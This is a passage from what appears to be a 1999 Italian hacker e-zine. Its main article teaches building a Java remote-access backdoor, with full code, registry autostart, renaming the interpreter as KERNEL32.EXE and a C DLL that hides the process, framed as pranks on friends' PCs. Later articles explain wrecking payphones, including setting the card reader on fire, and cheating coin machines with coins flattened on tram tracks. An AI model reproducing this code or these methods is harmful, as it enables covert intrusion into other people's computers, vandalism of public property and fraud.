be, in pratica questo kz di programma una volta installato in un PC si mette in ascolto (fa da server) di certi comandi che gli si puo' mandare con un client apposito (suppongo anche con telnet, ma in realta' io non l'ho mai usato quindi posso solo immaginare :( , cmq e' il concetto che conta, no? :) Questi comandi spaziano dai "classici" download/upload di file allo spegnimento da remoto del Pc vittima o nel NetBus anche a comandi + "creativi" quali la apertura/chiusura del lettore CD e la possibilita' (secondo me imperdibile) di sentire il povero user vittima dei nostri scherzi che ci manda a fankulo mentre gli formattiamo l'HD. In pratica ci fa' fare da remoto tutto quello che potremmo fare in locale tranne accendere il Pc se spento :P Bene, questa e' quello che + o - penso possa essere la descrizione sintetica di cosa BO e NetBus siano in pratica. Ora vediamo come possiamo noi poveri NewBies fare' qualcosa che si avvicini al lavoro svolto dai coders di BO (Cult of Dead Cow). Potremmo cominciare col vederlo in Java x vari motivi : 1. le classi che Java ci mette a disposizioni ci renderanno le cose molto + facili; 2. la struttura ad oggetti facilitera' (penso) la comprensione da parte dei newbies; 3. il nostro lavoro sara' (suppongo:) multipiattaforma; e cosa ancora + importante : 4. io le mie prove le ho fatte in Java quindi sara' in Java che ve lo spieghero' :)))))) Ma prima di passare alla pratica si deve passare obbligatoriamente dalla teoria ;) I SOCKET IN JAVA Questo in effetti voleva essere piu' che altro un intro su come usare Socket e TCP in Java, ma considerato che so quanto noi newbies siamo "lazy" (e il passaggio da lazy a lamer a volte e' breve :) ho deciso di allettarvi con qualcosa di meno nobile ma concreto (il BO appunto). Ma prima di tutto vi tokkera' sukarvi il mio korso di Socket in Java (hihihi:) ( sono un sadiko vero ? :) Quindi fate come me : accendetevi una sigaretta (o equivalente in verde) :Q e cominciate a leggere (ke io komincio a skrivere) Come prima cosa dovrei forse illustrare cosa sia un socket, ma non penso di essere un pozzo di scienza sull'argomento quindi lo spieghero' in modo sintetico lasciando a voi ulteriori approfondimenti (in altre parole : SKARIKO_IL_BARILE) Un Socket non e' altro se non un flusso di dati (anzi 2 flussi di verso opposto:) tra due Pc collegati in rete (ma anche fra 2 applicazioni in locale se volete). I Socket utilizzati da Java sono in stile Unix e permettono di utilizzare le normali classi di IO usate su file e simili sui socket da noi aperti. Quindi una volta aperto un socket lo possiamo utilizzare come un normale flusso (Stream, cosi' introduciamo gia' i termini) di dati che sara' pero' direzionato verso un altro calcolatore in rete. Prima che vi fossiliziate sulle classi di Java e non siate piu' in grado di uscirne voglio far notare che mentre Java fornisce due tipi di Socket principali Socket e ServerSocket, in Unix e nelle WinSock di Windoze non esiste nessun ServerSocket ?!?!?! allora voi penserete : "Posso scrivere solo client ?" ma la risposta sara' : "NO :)" In effetti i ServerSocket di Java altro non sono se non Socket in stato di listen (cioe' ascolto) che aspettano qualcuno che ci si metta in contatto. ( x una descrizione + completa dei Socket in Unix o WinSock aspettate un prossimo tut o se andate di fretta documentatevi, HOW-TO e pagine man di Linux sono zeppi di info, molte di + del necessario:) E ora le Classi (non elenchero' tutti i metodi ma solo quelli che useremo, I'm lazy too :P ) ---java.net.Socket-----------------------------------------------------------| Descrizione | questa classe implementa i client sockets. | |--------------|-------------------------------------------------------------| | Costruttori | Socket() - crea un Socket non connesso, del tipo di default | | | nel sistema. | | |-------------------------------------------------------------| | | Socket(InetAddress address, - crea un Socket e lo connette | | | int port) all'indirizzo "address" sulla | | | porta "port" (naturalmente:) | | |-------------------------------------------------------------| | | Socket(String host, - crea un Socket e lo connette all' in- | | | int port) dirizzo "host" sulla porta "port" | |--------------|-------------------------------------------------------------| | Metodi | void close() - chiude questo socket ( ma che bravo !!!:)) | | |-------------------------------------------------------------| | | InputStream getInputStream() - ritorna un InputStream per | | | questo socket. | | |-------------------------------------------------------------| | | OutputStream getOutputStream() - ritorna un OutputStream per| | | questo socket | |--------------|-------------------------------------------------------------| ---java.net.ServerSocket-----------------------------------------------------| Descrizione | questa classe implementa i server sockets, che attende una | | | richiesta e una volta arrivata crea un Socket verso di essa.| |--------------|-------------------------------------------------------------| | Costruttori | ServerSocket(int port) - crea' un socket in stato di listen | | | sulla porta "port". | | |-------------------------------------------------------------| | | Socket(int port - crea un Socket in attesa sulla porta | | | int backlog) "port" che accetti un massimo di | | | "backlog" di connessioni nella coda. | |--------------|-------------------------------------------------------------| | Metodi | Socket accept() - rimane in listen x una connessione e la | | | accetta. | | |-------------------------------------------------------------| | | void close() - chiude questo socket. | |--------------|-------------------------------------------------------------| Ritengo che per quanto riguarda i socket queste dovrebbero bastarci x ora. Invece x quanto riguarda i Flussi di Input/Output ci sono un bel po di classi, e si trovano in "java.io" : --Input----------------| InputStream | | InputStreamReader | | BufferedInputStream | | BufferedReader | | PipedInputStream | | PipedReader | |----------------------| |-Output---------------| | OutputStream | | OutputStreamWriter | | BufferedOutputStream | | BufferedWriter | | PipedOutputStream | | PipedWriter | -----------------------queste sono alcune, scegliete la vostra preferita', se non ve ne piace nessuna realizzatene una nuova, insomma a voi la scelta. IL MODELLO CLIENT-SERVER Il modello client-server e' molto intuitivo, in quanto si basa su un client che fa delle domande ad un server che gli risponde : lineare, no ? domanda /--------\ ---------> /--------\ | client | | server | \--------/ <--------- \--------/ risposta Il Server si trovera' magari nella situazione di dover svolgere svariati compiti o di dover rispondere a domande di diverso "tipo". Il tutto si risolve con le porte, che non hanno niente a che fare con le porte fisiche che si trovano dietro ad un Pc ma sono una struttura software, punti di accesso ai servizi offerti dal software di rete. In pratica : /-------------\ | SERVER | \-/----|----\-/ / | \ / | \ /-----\ /------\ /------\ | FTP | | HTTP | | SMTP | |-----| |------| |------| /|\ | /|\ | /|\ | | | | | | | | \|/ | \|/ | \|/ /------\ /------\ /------\ |client| |client| |client| | FTP | | HTTP | | SMTP | \------/ \------/ \------/ etc. etc. etc. etc. Quello che ancora non abbiamo messo in risalto e' che il confine fra Server e Client non e' cosi netto come puo' sembrare... Ogni Client puo' fare da Server ed ogni Server puo' essere il Client di qualcun altro (alla faccia della chiarezza:) Bene, questo dovrebbe aver chiarito le idee a chi le aveva confuse, e confuse a chi le aveva chiare (hahahah :)))) A questo punto mi sento veramente esaurito ed esco a farmi un JoinT :Q ~~~~ Bene eccomi di ritorno - lucido di prima, ma soprattutto - convinto che di quanto sto scrivendo gliene freghi niente a qualcuno :ø( AND NOW SOME KODE (solo un poko pero':) Ora potreste cominciare col fare pratica nello scrivere Client di tutti i tipi tutto quello che vi serve si trova in rete (tutto tranne la vostra testa), di utilissimo supporto sono soprattutto gli RFC cioe' dei documenti ufficiali che illustrano le specifiche dei protocolli di rete (cioe' l'insieme di regole di funzionamento). Ma x quanto ci riguarda gli RFC non hanno una particolare importanza x il nostro scopo in quanto una volta chiaro che il server deve ascoltare e rispondere ed il client chiedere non abbiamo bisogno di altro e il protocollo (parola grossa nel nostro caso) lo stabiliremo noi :) ---Mettere un ServerSocket in listen su una porta----------------------------ed accettare una connessione. import java.net.*; // x i Socket import java.io.*; // x le Exception ... try { ServerSocket srvSock = new ServerSocket(1234); // crea un ServerSocket // che si mettera in // ascolto sulla port 1234 ... Socket clientConnection = srvSock().accept(); // entra in listen e // accetta una connessione // poi ritornandola. } catch(IOException e) { System.out.println("Aiuto! Aiuto! Errore HAAAAARGGG!!!"); // OPZIONALE :) System.out.println("IOException : "+e.getMessage(); } ... --------------------------------------------------------------------------------Aprire un Socket verso un determinato Host e Port.------------------------import java.net.*; // x i Socket import java.io.*; // x le Exception e gli Stream ... try { // apre un Socket verso all'indirizzo "127.0.0.1" sulla porta 1234 // P.S. non fate kazzate e' il vostro IP :P Socket cltSock = new Socket("127.0.0.1", 1234); OutputStream out = cltSock.getOutputStream(); // con questo potete // scrivere. InputStream in = cltSock.getInputStream(); // con questo potete // leggere. ... out.write("Stronzo".getBytes()); // scriviamo verso il server. // esprimendogli tutta la nostra // gratitudine :))))))))) ... Byte[] risposta=new Bytes[1024]; // speriamo bastino :P while(in.available<=0) {} // attendiamo risposta. in.read(risposta); // leggiamo. ... } catch(IOException e) { System.out.println("Aiuto! Aiuto! Errore HAAAAARGGG!!!"); // OPZIONALE :) System.out.println("IOException : "+e.getMessage(); } ... -----------------------------------------------------------------------------Funziona + o - cosi'. Quindi ora che "SAPPIAMO" (forse) come far funzionare i Socket, per prima cosa stabiliamo il funzionamento del nostro server e poi di conseguenza quello del nostro client : STABILIAMO IL PROTOCOLLO. STABILIRE UN PROTOCOLLO Stabilire un protocollo a volte puo' essere + facile di quanto la parola stessa suggerisca, si tratta solo di immaginare quali siano i comandi che possano essere lanciati, come fare a distinguerli dai parametri, a volte necessari, e se necessario a come sincronizzare server e client. Il nostro protocollo in questo caso saranno solo 2 o 3 comandi che scegliero' al volo in questo momento... poi voi siete liberi di variare e soprattutto di utilizzare le vostre conoscenze x fare di meglio. Immaginiamo che al momento della connessione col server, questo aspetti da parte nostra l'invio di un particolare comando di riconoscimento. Ad esempio : comando di riconoscimento | \|/ /------\ #LOGIN#password /------\ |CLIENT|--------------------->|SERVER| \------/ \------/ Il server accettera' la connessione e leggera dall'InputStream. Quello che leggera' sara' la prima stringa da noi inserita... Il server dovra' percio' prima verificare che la sintassi del comando sia giusta (#LOGIN#) poi se riconosce un comando valido interpreta quanto segue come parametri (se necessari), nel nostro caso ci sara' la password. A questo punto mi sembra logico che il server dovra' verificare la validita' di tale password e in caso negativo debba chiudere la connessione. In caso positivo invece rimarra' in attesa di altri comandi (ke server passivo:). Arrivati a questo punto penso che il mio compito nella spiegazione del protocollo si possa fermare... i comandi gli sceglierete VOI in funzione di cosa VOI vogliate che il server FACCIA :) UTILIZZATE LA FANTASIA (una volta che avete la possibilita' di mettere una backdoor il vostro solo limite e' quella:)))) Io che sono + "lazy" di voi e non mi sta andando di fare un kzz(sono tornato ora a casa, ho lavorato tutto il giorno e voglio uscire) ne implementero' solo uno giusto come esempio. A voi il resto (oltretutto se faccio tutto io voi ke kzz fate ?) Il mio comando sara': (rullino i tamburi.....[ah, fumano anche loro?hihihi] ) #DIALOG#hey, faccia di kazzo ke kosa fai? non tokkare la tastiera ke ti fulmino l'harddisk ):| che stampera' sullo schermo del povero sventurato (probabilmente voi stessi nelle vostre prove) una DIALOG intimidatoria e niente di +, ma come ho detto questo e' solo un esempio e potete fare di meglio. Ammazza ke fantasia direte voi... ma ve lo avevo gia' detto ke non mi sta kollando un kzz, quindi akkontentatevi :) REALIZZAZIONE PRATICA (ERA ORA !!!) A questo punto cominciamo con la stesura del codice del server, ke mi appresto ora a skrivere sperando che non superi le 40 linee :) Il Flow del programma dovrebbe essere all'incirca questo : /-----------------------\ |Inizializzazione Server| \-----------------------/ | | | /-----------------------\ | attende una richiesta | | sulla porta | \-----------------------/ | | /------------------------\ | accetta la connessione | | e | | apri un socket verso | | il client | \------------------------/ | /------------------------\ | crea gli stream di | | input e output per la | | comunicazione con il | | client | \------------------------/ |<-------------------|----------| /------------------------\ | | | leggi una stringa dallo| | | | stream di input | | | \------------------------/ | | | | | /\ | | / \ | | / e' \ NO | | / un \ | | /comando?\___________/--------\ | \ / | ERRORE | | \ / \--------/ | \ / | \ / | \/ | | SI | /-------------------------\ | | interpreta i parametri | | \-------------------------/ | | | /-------------------------\ | | agisci a seconda del |-----------------| | comando e dei parametri | \-------------------------/ Be', non e' proprio lo stato dell'arte ma dovrebbe ugualmente rendere l'idea. Il tutto tradotto in Java sara' (non prendetelo come esempio di programmazione e' scritto con una incredibile skogliona addosso:))) : ------JBackDoor.java---------------------------------------------------------import java.awt.*; // import x le classi Frame, Label etc. import java.net.*; // ====== = == ====== Socket e ServerSocket. import java.io.*; // ====== = == ====== BufferedReader, // OutputStreamWriter, ed IOException. public class jBackDoor { public final int STANDARD_PORT = 1234; // porta su cui accettare // connessioni. // SINTASSI COMANDI ( solo 2 :ø( ) public final String LOGIN = "#LOGIN#"; // sintassi comando di login. public final String DIALOG = "#DIALOG#"; // ======== ======= x far // apparire una Frame sul // Desktop della vittima. // STRINGHE DI RISPOSTA AD ERRORI public final String NOTVALID = "Non e' un comando valido!!!\n\r"; public final String ALREADYLOGGED = "SEI GIA' LOGGATO, KE KZ VUOI ANKORA!\n\r"; // MESSAGGIO DI ENTRATA public final String INTRO = "Java BackDoor Example v.1.0 coded by (R)ipLey\n\r"+ "For ]N[ewBieS e-zine. (c)opyLeft 1999\n\r"; private boolean logged = false; private String password = "newbies"; // true=logged, false=not logged :) // LA NOSTRA PASSWORD :)))) private ServerSocket listenSock; // Inizializza il ServerSocket public jBackDoor() throws IOException{ listenSock = new ServerSocket(STANDARD_PORT); } // Ciclo di vita della BackDoor : public void start() throws IOException{ while(true) { Socket clientSock = listenSock.accept(); workOn(clientSock); clientSock.close(); } } // accetta una connessione // ci lavora... // una volta finito la chiude. // Interazione Tra client e Server public void workOn(Socket aSock) { BufferedReader in; OutputStreamWriter out; try { in = new BufferedReader(new InputStreamReader(aSock.getInputStream())); out = new OutputStreamWriter(aSock.getOutputStream()); while(true) { String inputData = in.readLine(); // Legge una Stringa if(inputData!=null && inputData.compareTo("")!=0) { int result=ElaborateInput(inputData); // Elabora l'input switch (result) { // COMANDO NON VALIDO case 1 : out.write(NOTVALID, 0, NOTVALID.length()); out.flush(); break; // GIA' LOGGATO case 2 : out.write(ALREADYLOGGED, 0, ALREADYLOGGED.length()); out.flush(); break; // STAMPA INTRO case 3 : out.write(INTRO, 0, INTRO.length()); out.flush(); break; } } else if(inputData==null) { // connessione caduta. logged=false; // de-logga in.close(); // chiude gli stream out.close(); // ----------------break; // esce dal giro. } } } } catch(IOException e) { System.out.println(e.getMessage()); System.exit(1); } // Elabora una stringa di input public int ElaborateInput(String inputData) { String parametri; if(inputData.startsWith(LOGIN)) { // E' IL COMANDO LOGIN? if(logged) return 2; // SE GIA' LOGGATO non fare niente parametri = inputData.substring(LOGIN.length()); // estrai parametri // verifica la validita' della password (in caso positivo ritorna 3) if(logged=parametri.startsWith(password)) return 3; } else if(inputData.startsWith(DIALOG)) { // E' IL COMANDO DIALOG? // SE precedentemente LOGGATO eegue il comando. if(logged) OpenDialog(inputData.substring(DIALOG.length())); else return 1; // COMANDO NON VALIDO FINO A LOGIN // AVVENUTO. } } else return 1; // COMANDO NON VALIDO return 0; // NON FARE NIENTE // Crea e Visualizza una finestra con il testo da noi selto... // Non e' il massimo come fantasia... :D public void OpenDialog(String testo) { Frame myFrame = new Frame("DA UN FAN SCONOSCIUTO"); myFrame.setLayout(new FlowLayout()); myFrame.add(new Label(testo, Label.CENTER)); myFrame.setSize(myFrame.getMaximumSize()); myFrame.show(); } /********* MAIN *********/ public static void main(String argv[]) { try { jBackDoor myBackDoor = new jBackDoor(); myBackDoor.start(); } catch(IOException e) { System.out.println("Exception :"+e.getMessage()); System.exit(1); } } } -----------------------------------------------------------------------------Bene me la sono cavata con un centinaio di righe di codice e una sola classe, mi e' andata bene... Ma cosi' com'e' il programma ha una grossa limitazione (ke non sono i poki komandi presenti) : si puo' fare una sola connessione per volta :ø( Cmq si possono apportare migliorie + o - in tutte le parti del programma, ma ho preferito lasciarlo semplice e lineare xche' sia di + facile comprensione, spero' di non aver sbagliato :( Innazitutto potreste estrapolare il cuore del programma ( quello che interagisce con il client ) e inserirlo in un'altra classe che erediti da Thread kosi' da rendere la BackDoor in grado di gestire + client contemporaneamente ( a voi il kompito :), e inserire qualke altro komando (modifica della passwd, download e upload di file, esecuzione di comandi dal prompt etc. etc.), DIVERTITEVI :))))))) POZIONE PER L'INVISIBILITA' Adesso che avete la vostra cara BackDoor personalizzata vorrete sicuramente provarla sul Pc di qualke amico ( o nemico :)) ... Come farla avviare automaticamente e nasconderla da occhi indiscreti ? Innanzitutto mettere la classe (o le classi) della BackDoor nel classes.zip cosi' che l'interprete le trovi senza dover specificare alcun PATH... poi inserire la riga di comando x l'avvio del programma nel registro di configurazione, nella chiave : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Se lo volete un po' + invisibile potreste spostare il javaw.exe o il jview.exe nella directory "C:\WINDOWS\" e rinominarlo in qualkosa tipo KERNEL32.EXE :)) In questo modo sara' avviato automaticamente ad ogni avvio di windows ma non sara' invisibile alla TaskList. Come fare ? C'e' una chiamata al kernel semi-documentata chiamata "RegisterServiceProcess" ( 10x to GuyBrush :) che permette di registrare un processo come Servizio di Sistema e cio' lo rende invisibile alla TaskList. Ora possiamo modificando un poko il programma x renderlo completamente invisibile :), come ? Semplice, scrivendo una DLL e caricarla semplicemente in memoria, questa avendo nell'entry point il codice necessario a rendere invisibile il processo corrente ci rendera' invisibili al solo caricamento :))))))) senza dover fare nient'altro GRAZIE BILL!!!!! UNA DLL X L'INVISIBILITA' Munitevi di un Compilatore che vi permetta di compilare DLL e create la vostra personale pozione per l'invisibilita'. Io la mia l'ho scritta con il Visual C++ 5.0 (10x to netzus6 x l'aiuto). Dichiarate una funzione come entrypoint della DLL la mia l'ho chiamata DllEntry (sono un originale:). In questa funzione dovrete : - caricare la libreria "kernel32.dll" con la funzione LoadLibrary (altrimenti niente RegisterServiceProcess); - crearsi un puntatore alla funzione con la funzione GetProcAddress; - poi : 1. in caso di caricamento della DLL chiamare la RegisterServiceProcess perche' ti renda invisibile; 2. in caso di scaricamento ti renda nuovamente visibile; Per saperne di + controllare la documentazione, cmq allego il mio esempio che potrebbe essere di aiuto ai + inesperti : #include<windows.h> #define RSP_SIMPLE_SERVICE 1 #define RSP_UNREGISTER_SERVICE 0 typedef DWORD (WINAPI *RSPType)(DWORD, DWORD); BOOL WINAPI DllEntry( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { HINSTANCE hiKernel32; RSPType RSPFunction; hiKernel32 = LoadLibrary("Kernel32.dll"); if(hiKernel32==NULL) return FALSE; RSPFunction=(RSPType)GetProcAddress(hiKernel32, "RegisterServiceProcess"); if(hiKernel32==NULL) return FALSE; switch(fdwReason) { case DLL_PROCESS_ATTACH : (RSPFunction)((DWORD)NULL, RSP_SIMPLE_SERVICE); break; case DLL_PROCESS_DETACH : (RSPFunction)((DWORD)NULL, RSP_UNREGISTER_SERVICE); } break; FreeLibrary(hiKernel32); } return TRUE; Ricordatevi, se usate VC++5.0, di modificare i Setting/Link aggiungendo l'opzione "/entry:nomeFunzioneDiEntryPoint" che specifica il nome della nostra funzione. Nel programma java dovrete invece aggiungere all'interno della classe la seguente dichiarazione : static { try { System.loadLibrary("IDLL"); } catch(UnsatisfiedLinkError e) { System.out.println("Exception :"+e.getMessage()); System.exit(1); } } che verra' eseguita appena viene caricato il .class e provvedera' a caricare la DLL. THE END ? Penso che x adesso basti... Una base ce l'avete ora approfondite e migliorate :))))))))) RINGRAZIAMENTI : Tanx to : netzus6 "l'alchimista" - per l'aiuto nella realizzazione della pozione dell'invisibilita'. GuyBrush "Il pirata buono"- per avermi segnalato la funzione RegisterServiceProcess e per aver scritto un crackme che lui continua a dire che e' facile e io continuo a non riuscire a crakkarlo (non ci avro' messo abbastanza intenzione:) Kill3xx "Gandhi" - Lui sa xche' :))) Insanity "Billy the Kid" - Colui che ha il saluto + veloce del west (cosi' dicono:) xche' non mi ha ancora mandato a f.....o Lui sa xche' :))))) Furb3t "Burl3t" - xche' mi (ci) ha preso x c..o con la sua HomePage, Lei sa xche' :))))))) buendia "Il Laureato" - x i Docs sui Socket. Auguroni per ... (Lui sa xche':))))))))) a tutto Ring0 xche' sono tutti GRANDI :D e a tutti gli amici di #crack-it ed infine a N0Body88 - xche' (spero) accettera' il mio articolo :) Tanx for il supporto musicale : Bob Marley, The Cure, The Police, CCCP, CSI, Primus, Punkreas etc. etc. Fuck to : Offspring x essere diventati + commerciali di Laura Pausini. $$$$$ $ $$$ $ $ $ $ $ $ $$ $ $ $ $ $ $$$$$ øø $$ $$ $$ $$ $$$$ $$ $ $$ $ $$$$ $$ $$ $$ $$ $$$ $$ $ $ $$ $$$$$ $$ $ $$$$$ $$$$ $ $$ $$ $ $$ $$ $$ $$ $ Spedite ringraziamenti, elogi, critiche costruttive a [email protected] Per critiche non-costruttive, insulti, flames e bu......e varie a [email protected] ©ipLey NOTA DI N0bodY88 = incredibile... prima di mandano un capolavoro di articolo e poi si domandano se lo accettermo!!! che tempi!!!!!!!!!! Cmq sono d'accordo con ©ipLey x quanto riguarda gli Offspring, io continuo a sentirmi i Lag Wagon e vado avanti x la mia strada... ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ PROGRAMMAZIONE DI DEMO X NINTENDO 64 ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Bhe ciao a tutti oggi voglio parlarvi di programmazione [ohhh che novita' ] [buhh buhh] di demo [buhh buhh] per nintendo 64 [ohhhhhhh]. Bhe allora io ho iniziato da pochissimo circa 4 giorni , visto che son molto patito di emulazione e che mi interesso di ste cose ] . Bhe cominciamo: Cosa bisogna avere?????????? 1: c++ [almeno io ho usato quello] 2: n64 denvelpment kit [14mb] 3: 3ds4 [x le meshes] 4: tanta voglia ed un cazzo da fare [per fortuna in sti giorni ne ho in abbondanza : matura suck] Ringrazio le seguenti persone che mi han aiutato: NaN, Kid, Nil, Maxx, Nop, CyboD, Stage, Rude Boy, Stumble.... Allora accludo file 3ds (lo trovate nei prog acclusi sotto il nome di "file3ds.zerocool" o nello zip principale o in quello degli allegati). Esiste poi il prog n643dsl che userete per linkare questo file alla vostra presentazione. Bhe okki poi con un caro n64bmi ci applicherete uno sfondo [supporta bmp , gif , tif , pcx] e via dicendo . Sto lavorando [ o meglio la ho finita ] a una demo x n64 che non accluderemo' pero' alla rivista [primo perche' non inerentissima alla tematica , secondo perche' di 4mb].......Chi vivra' vedra' ZeroCool Provoces the best you will die like a slave ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ²°°°°°°°°°Û°°°°°°°°°ÛÛÛ°°°ÛÛ°°°°°°Û°°°°°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°°°ÛÛ°°°² ²°°°°°°°°ÛÛÛ°°°°°°°°ÛÛÛÛ°°ÛÛ°°°°°ÛÛÛ°°°°°ÛÛ²²²²Û°°ÛÛ°°°°°°ÛÛ°°°ÛÛ°°°ÛÛ°ÛÛ°°°°² ²°°ÛÛÛÛÛÛÛ²ÛÛÛÛÛÛÛ°°ÛÛ°ÛÛ°ÛÛ°°°°ÛÛ²ÛÛ°°°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°°°ÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°°°² ²°°°°°°ÛÛÛÛÛÛÛ°°°°°°ÛÛ°°ÛÛÛÛ°°°ÛÛÛÛÛÛÛ°°°ÛÛ°ÛÛ°°°°ÛÛ°°°°°°ÛÛ°°°ÛÛ°°°°°Û°°°°°°² ²°°°°°ÛÛ°°°°°ÛÛ°°°°°ÛÛ°°°ÛÛÛ°°ÛÛÛ°°°ÛÛÛ°°ÛÛ°°ÛÛÛ°°ÛÛÛÛÛÛ°°ÛÛ°°°ÛÛ°°°°°Û°°°°°°² ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ COME RENDERE INUTILIZZABILE UNA CABINA TELEFONICA ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Arrivano i vandali!!! Autore: Fusyllo Consumo: 1 lattina di CocaCola e un cabina Telecom Musica ascoltata: quella che volete Dedicato: a tutti quelli che sono incazzati con la Telecoz Questa volta vi spieghero' come rendere inutilizzabile la cabina telefonica della cara mammina Telecom. 1. Potete infilare qualcosa (piu' grande delle monetine!) nel buco accanto al display dove si mettono le monetine in modo che le monetine non entrino piu'. 2. Infilate un scheda piegata in due nel "mangiaschede". 3. Privare della cosa piu' importante il telefono: la cornetta. Con una tronchese tagliate il filo o tiratela e giratela finch‚ non si stacca. Potete anche togliere il coperchio che copre il microfono con un cacciavite prendere il microfono e richiudete. 4. In alcune cabine telefoniche sotto il telefono c'e' una cabina elettrica, se riuscite ad aprirla vi siete fatti un salvavita. 5. Prendete una siringa e riempitela di alcol (basta che sia infiammabile), trovate una cabina infilate l'ago (della siringa :-)) nel lettore delle schede e cercate di spruzzare un po tutto il lettore. Ora prendete un accendino e accendete il liquido, le cinghiette per muovere la scheda e le testine si bruceranno e il lettore Š inutilizzabile. 6. Con un cacciavite rompete il display. In questo modo non si potr… vedere ne l'importo ne il numero di telefono che si sta' chiamando. 7. Rompete i vetri. 8. Un po di fantasia :-D Credo che ora la cabina sia inutilizzabile. [email protected] Fusyllo ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ COME HACKERARE UN COIN-OP ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Eccomi qui! Sto per rivelarvi qualcosa che mi e' capitato di constatare personalmente l'estate scorsa ovvero: COME HACKERARE UN COIN-OP: o meglio COME GOCARE AI COIN-OP GRATIS: E' una cosa semplicissima....dovete semplicemente trovare una sala giochi che usi ancora le 500 œ o un bar con un coin-op che vi interessa......... Cambiate 5.000 œ tutti in pezzi da 50 œ e andate possibilmente in una zona della vostra citta' dove passano poche macchine e molti tram............ e adesso viene il bello:andate vicino ad una rotaia e mettete i pezzi da 50 œ tutti in fila a distanza di 3 cm l'una dall'altra. Allontanatevi un po per non destare sospetti dato che tutto questo provocher… un po di rumore,aspettate che passi il tram e che schiacci le monete....... dopo di che andate SUBITO a raccoglierle per evitare che il drogaz di turno le accatti prima di voi, e in questo modo otterrete delle monete da 50 œ modifi cate in modo da essere larghe quasi come le 500 œ (dato che il coin-op riconosce solo la larghezza e non il peso non ne notera' la differenza). N.B.:Ovviamente non tutte le 50 œ verranno accettate dalla macchinetta poiche e' matematicamente impossibile che il tram le schiacci tutte in modo uguale percio' non venite a lamentarvi se sciupate qualche moneta... AVVERTENZE o CONSIGLI:Non mettere mai piu' di una decina di 50 œ in una sola volta ma se proprio avete fretta mettetene dieci su una rotaia e dieci su un'altra. Non fatevi mai pizzicare dal cocchiere o almeno fate finta di niente dato che se venite sgamati il cocco scendera' dal tram e verra' a farvi brutto e in questo modo si rallentera' tutto il traffico e incorrerete anche nell'ira degli automobilisti nonche' potrebbero sorgere complicazioni a livello sociale.... ATTENZIONE (ihihi) IL TRAM POTREBBE ANCHE DERAGLIARE (whishhh) Chiudo qui chiedendovi di non venire a lamentarvi da me se qualcosa non funziona o se vi beccano e vi sbattono in gabbia (ihih).....io mi declino da ogni responsabilita'. Se mi volete contattare: Nickname:PiNbALL E-Mail:[email protected] Oppure venitemi a trovare nel mio canale su irc : #discomania O visitate il mio sito http://members.tripod.com/pinball6/pinb.html 